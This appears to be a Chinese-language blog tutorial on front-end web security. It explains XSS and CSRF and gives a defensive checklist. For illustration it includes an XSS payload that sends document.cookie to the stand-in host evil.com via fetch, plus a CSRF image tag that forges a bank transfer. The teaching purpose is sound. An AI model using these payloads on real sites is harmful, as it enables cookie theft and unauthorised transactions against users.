前端安全里,XSS 和 CSRF 是绕不开的两座大山。它们的名字很像,但本质完全不同:
- XSS(跨站脚本):攻击者让自己的脚本在受害者的页面里执行
- CSRF(跨站请求伪造):攻击者借用受害者已登录的身份,偷偷发出请求
一句话区分:XSS 是"代码注入",CSRF 是"身份盗用"。下面分别拆开。
XSS:让别人的脚本在你的页面上跑
XSS 的核心是:用户输入被当成代码执行了。
设想一个评论功能,前端直接把评论内容塞进页面:
commentBox.innerHTML = userInput如果有人提交的评论是:
<img src="x" onerror="fetch('https://evil.com?c=' + document.cookie)">这段内容被 innerHTML 渲染后,onerror 就会执行,受害者的 Cookie 被发到攻击者的服务器。这就是一次 XSS。
XSS 的三种类型
1. 存储型 XSS
恶意脚本被存进了数据库(比如评论、昵称、文章内容),之后每个浏览到这条数据的用户都会中招。危害最大,因为它会持续影响所有访客。
2. 反射型 XSS
恶意脚本藏在 URL 参数里,服务器把参数原样拼进页面返回。比如搜索页:
https://example.com/search?q=<script>...</script>如果页面直接把 q 的值显示出来,脚本就执行了。这类攻击通常需要诱导用户点一个精心构造的链接。
3. DOM 型 XSS
不经过服务器,纯前端的锅。比如直接拿 location.hash 往 innerHTML 里塞:
document.getElementById('out').innerHTML = location.hash.slice(1)攻击者构造带脚本的 hash,前端就把它渲染执行了。
XSS 怎么防
防御 XSS 的核心原则只有一句:不要相信任何用户输入,输出时按场景做转义或隔离。
1. 输出转义(最基础也最重要)
把用户输入当文本而不是 HTML。现代框架默认就帮你做了这件事:
<!-- Vue:{{ }} 默认转义,<script> 会被当成普通字符串显示 -->
<p>{{ userInput }}</p>React 的 {userInput}、Vue 的 {{ userInput }} 都会自动转义。真正危险的是手动绕过转义的 API:
// 危险:直接当 HTML 渲染
element.innerHTML = userInput
// Vue 里的 v-html、React 里的 dangerouslySetInnerHTML 同理能不用 innerHTML / v-html 就不用。
2. 富文本必须过滤,而不是只转义
评论、文章这类确实需要保留部分 HTML 的场景,不能简单转义(那样标签就全没了),要用成熟的库做白名单过滤,只保留安全标签、剥掉 <script>、onerror、javascript: 这类危险内容。自己写正则过滤几乎一定有漏洞。
3. CSP(内容安全策略)
CSP 是一道服务端设置的响应头,能限制页面只允许加载/执行哪些来源的脚本:
Content-Security-Policy: default-src 'self'; script-src 'self'这条策略下,内联脚本和外部域的脚本都不被执行。即使攻击者注入了 <script>,浏览器也会拦下来。CSP 是一道很强的兜底防线。
4. Cookie 加 HttpOnly
给敏感 Cookie(尤其是登录态)加上 HttpOnly,JavaScript 就读不到它了:
Set-Cookie: token=xxx; HttpOnly; Secure这样即使发生了 XSS,document.cookie 也偷不到登录凭证,大幅降低危害。这个博客的 JWT 登录态就是放在 HttpOnly Cookie 里的。
CSRF:借你的登录态办事
CSRF 的精妙之处在于:攻击者不需要拿到你的密码或 Cookie,只要借用浏览器"自动带 Cookie"的行为。
攻击是怎么成立的
关键前提:浏览器在向某个域名发请求时,会自动带上该域名下的 Cookie,不管这个请求是从哪个页面发起的。
设想你刚登录了银行网站 bank.com,登录态在 Cookie 里。这时你被诱导访问了一个恶意页面,页面里藏着:
<img src="https://bank.com/transfer?to=hacker&amount=10000">浏览器加载这个 <img> 时,会向 bank.com 发请求,并自动带上你在 bank.com 的登录 Cookie。服务器一看 Cookie 有效,就以为是你本人操作,转账成功。
整个过程你毫不知情,这就是 CSRF。它利用的是"服务器只认 Cookie,无法分辨请求到底是不是用户主动发起的"。
CSRF 怎么防
防御思路是:让服务器能分辨"这个请求是不是从我自己的页面发出来的"。
1. SameSite Cookie(现代浏览器的主力防线)
给 Cookie 设置 SameSite 属性,限制它在跨站请求里不被自动带上:
Set-Cookie: token=xxx; SameSite=Lax; HttpOnly; SecureSameSite=Strict:完全禁止跨站携带,最严格SameSite=Lax:大多数跨站请求不带,但顶层导航的 GET 会带(平衡了安全和体验,现在多数浏览器的默认值)SameSite=None:不限制(必须配合Secure)
设了 Lax 或 Strict 后,上面那个 <img> 发出的跨站请求就不会带 Cookie,CSRF 直接失效。这是目前性价比最高的防御。
2. CSRF Token
服务器在渲染页面时下发一个随机 token,前端在每次提交时把它带回来(放在请求头或请求体里):
fetch('/api/transfer', {
method: 'POST',
headers: { 'X-CSRF-Token': csrfToken },
body: JSON.stringify(data),
})攻击者的页面拿不到这个 token(它存在你的页面里,跨域读不到),所以伪造的请求会因为缺 token 被服务器拒绝。
3. 校验来源
服务器可以检查请求的 Origin / Referer 头,判断请求是否来自本站。这是一道辅助防线,但 Referer 可能被某些场景去掉,不能单独依赖。
4. 敏感操作用 POST,别用 GET
转账、删除这类有副作用的操作绝不能用 GET。<img>、<a> 这类标签能轻易发起跨站 GET,但发起带自定义头的 POST 要难得多。这本身就是一道门槛。
XSS 和 CSRF 的关系
两者经常被一起讨论,但要记住一个残酷的事实:如果存在 XSS,大多数 CSRF 防御都会失效。
因为有了 XSS,攻击者的脚本就在你的页面里运行,它能读到 CSRF Token、能发出带正确头的请求。SameSite 也防不住"同站内发起"的恶意脚本。
所以优先级是:先把 XSS 堵死,再谈 CSRF。XSS 是更底层、更致命的漏洞。
一套可落地的防御清单
把上面的措施整理成一份能直接对照的清单:
- 框架默认转义,慎用
innerHTML/v-html/dangerouslySetInnerHTML - 富文本用成熟库做白名单过滤,不要手写正则
- 配置 CSP 响应头作为兜底
- 登录态 Cookie 加
HttpOnly+Secure+SameSite=Lax - 敏感接口用 POST,配合 CSRF Token
- 服务端校验
Origin/Referer作为辅助 - 永远不信任用户输入,服务端也要做校验(前端校验只是体验,不是安全边界)
总结
- XSS 的本质是用户输入被当成代码执行,防御靠输出转义、富文本白名单过滤、CSP、HttpOnly Cookie
- CSRF 的本质是借用自动携带的 Cookie 伪造请求,防御靠 SameSite Cookie、CSRF Token、来源校验
- XSS 比 CSRF 更致命,有 XSS 在,CSRF 防御基本作废,要优先解决
- 最关键的一条心法:永远不要相信来自客户端的任何输入,转义、过滤、校验一个都不能少
安全没有银弹,靠的是这些措施叠加成的纵深防御。少做一层,攻击面就大一分。